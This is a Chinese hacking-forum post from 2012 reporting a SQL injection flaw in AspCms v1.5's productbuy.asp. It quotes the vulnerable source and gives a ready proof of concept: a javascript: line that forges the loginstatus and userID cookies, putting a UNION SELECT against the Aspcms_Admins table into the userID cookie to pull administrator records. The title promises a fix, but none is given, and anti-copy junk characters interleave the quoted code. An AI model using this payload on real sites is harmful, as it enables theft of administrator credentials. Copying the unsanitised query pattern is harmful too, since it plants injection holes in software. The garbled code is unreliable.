找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2183|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
# P$ |2 @. S! V: r( W: X  u8 P也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
. {7 j! R+ y' ?1 z; ~: ?废话不多说,看代码:
. }# ]$ O- k6 ]' C5 g4 U' ?7 j9 Y  ^8 ^5 [$ d2 }& _
<%
/ l( ^8 y) }9 [8 h) A( s
: K8 ]! a5 A3 Rif action = "buy" then
4 K0 H* s6 }, w% ?# v( a
8 z! ]" t# W6 Y. s+ y3 e        addOrder()( z9 y$ F% C& V; h
9 P8 y3 W# M* o# J) f
else
3 m' H1 X8 \; E: P
1 ]! r8 A% J+ V& P! {" [        echoContent()
+ v1 x3 ~9 A" p2 I! x# o+ P' s. _, [) O' }9 f9 |
end if3 Q) P8 P# G3 A6 I3 k. x& x
) \  ^8 |- z: x
* A  @* I8 T; |7 H% y

3 I8 l, G2 j/ h! G……略过* e/ p* a$ {. ?& f7 x1 B! L8 u

1 c" |! Q; c5 b4 v
" F; W* T4 B" N2 F% s- M: E1 S" P% P$ {
Sub echoContent()
7 U0 p. Z" _. e# |+ A% D
. V3 ]8 m# J, Y$ ]# f        dim id
8 z$ f3 J- a2 j1 d, E  @- D1 k2 R/ M3 R# T
        id=getForm("id","get")
, [8 `" n- [8 u0 X/ U% S8 H* ?/ Z% V: x
        - l+ ^/ J3 G( F* b2 ^1 X% M# G
' p, V) J4 E* y( F( P' a
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" / d: T0 g$ X, I3 G
% _& r; J6 m: A" p/ |0 O7 X9 L/ G  [
        0 v& g9 Y; l& V) Q  Q( R: [9 |: n
- P! w5 \; |& y! \6 W
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")7 {; Q3 V+ @9 T
8 @4 L7 n' s3 N- M+ I
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ _/ P! o+ ?; ^; C0 O; ]$ u

8 F" B' m' [  n6 b$ f& f+ m" p        Dim templatePath,tempStr
8 R6 n. f5 e2 y5 u3 L0 g6 U6 L
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"4 x$ y( V0 j& }8 _; ^
( L8 V2 h) O! b
! k5 v7 `5 U8 g  i- n, u' \

6 Z  {$ G; R8 r        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")( z* Y8 `* R8 s- N/ x' e

9 o4 R! F; `  J8 |7 @7 j        selectproduct=rsObj(0)! |- O1 Y$ G3 F9 c5 S

0 F8 m9 E$ l5 ~2 h. p        5 ~. O0 S+ Y8 k6 @1 W

- @" d6 l( V7 y4 n# P        Dim linkman,gender,phone,mobile,email,qq,address,postcode6 \( {; _$ W" V) t% P
5 r# x4 F1 o) Z4 g7 M/ b
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0. W! ]* U$ `' O4 ?
2 Q1 Q" y: @2 b. |" X8 r
        if rCookie("loginstatus")=1 then  - s) |" Y0 v7 E; o: w+ R

4 b! x7 A: @( c, Y  P2 s                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! A6 V& {' L# p* H0 U

5 _  \+ F& c4 a4 r                linkman=rsObj("truename"); x4 o$ N  g+ R0 s. S: z& P
( T: U5 c8 K6 E0 J
                gender=rsObj("gender")
# ~3 j# |( ~3 W" l, Y) v. m4 u
; P  ~) t5 j" s                phone=rsObj("phone")
! ~8 d6 [8 G: O2 \9 g3 W7 v0 i9 s" |6 V/ [& N$ u: J9 B
                mobile=rsObj("mobile")5 m$ O2 R1 {8 J/ z+ j: n
& Z& Q5 ^# A$ e  C( |8 q
                email=rsObj("email")
+ P# U4 A+ K- h5 l& s5 v( b7 \& H0 j6 q! d/ r8 g/ u
                qq=rsObj("qq")# t" s( Z: d5 u; w4 h
( Q8 }/ Q6 S8 W4 Z4 u- m  @% j$ D
                address=rsObj("address")
# v7 Q5 Z0 ^5 I4 `" m5 r. F
! \. p7 {9 h; I- ]) K                postcode=rsObj("postcode")/ q' ]/ J, w" Q) n7 z" B1 v

8 L  k; C2 i: s& ]0 C# k        else
) @1 a- U6 k4 r& o2 W1 r5 D' M$ u- z4 U3 t$ J' I
                gender=1: _1 i7 Z0 L) c
7 h! D/ U& P; Y- H& s. C
        end if4 i, a" P+ s2 K9 O$ I* i1 @1 h

5 U+ |' G5 t$ w        rsObj.close(): G) }2 f4 }4 s; A8 i* F) J- K2 G4 j

- |' o4 Q" v& i2 l& j! f               
) ~1 f4 O4 q  z. n
9 E9 g( Z1 G: j$ h( G        with templateObj
- A# f& \8 H" s2 V7 ?: |- E5 {& C# N$ l% ^% ]3 b( X
                .content=loadFile(templatePath)        
; S* d0 j3 D8 I+ Q) w" l  J6 x0 o
3 |+ _4 f1 o) l' a9 o                .parseHtml()
4 L3 w& C$ ]8 j. U. t0 I$ x; }2 k; ?0 B
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)" y8 M! M; d# R, [& I6 g
- }) i: L& |$ |2 e- |
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                5 S) n: ?7 X7 e' k. u
0 a1 _' b8 W! x2 S$ s2 F0 D
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
8 j& E: @9 e' j" \, |, F$ h! G& l8 N' V; F, l" t/ b& f
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
9 v6 [3 L% t& C( O/ ^2 t- g! h, }/ ]0 a7 p4 R
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
8 m& s2 b7 k* a5 w. F8 ~
$ O* e1 r- ^- ^/ s# }                .content=replaceStr(.content,"[aspcms:email]",email)                        
. u2 F9 m6 c; Y9 d1 ~9 s
6 x) ^( k! F; C) ?. V                .content=replaceStr(.content,"[aspcms:qq]",qq)                        . r0 A3 M& G0 c# @

( J. E0 x: x% F) V( V                .content=replaceStr(.content,"[aspcms:address]",address)                        
! u$ g! c, b& E& g
8 ~6 p6 R9 k( l- Q# L) i1 ]& b" j                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
" E, d* I2 i+ h3 l0 w
: H) N% C) U3 S( @. P" L; y                .parseCommon()                 
8 x% w9 k8 A8 l& W" X3 F% I( y( i" |& \
8 X2 ~$ u1 H8 a, ]3 M                echo .content - c: s( D- H9 c

6 ~' U* f8 B  O6 _2 }/ @# U$ i/ o& z        end with
2 W. L% I6 I7 [' v$ m) Z, V5 D- J% f0 _1 x' T
        set templateobj =nothing : terminateAllObjects
( V0 x5 ?3 }0 Y( ~( p$ Z, X- Z7 f$ |, _  f9 e( q, I; C
End Sub! i7 G$ B5 y4 s$ q2 O
漏洞很明显,没啥好说的' d( u0 Y% H% D9 O
poc:
* q/ b0 X  s' G1 j  U# i
$ H8 N+ w- ^/ N+ s" b& M3 B0 w+ L/ g+ [javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
' i' O7 c$ k: R. |: T
- a) `$ h1 m% t! \! Y8 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表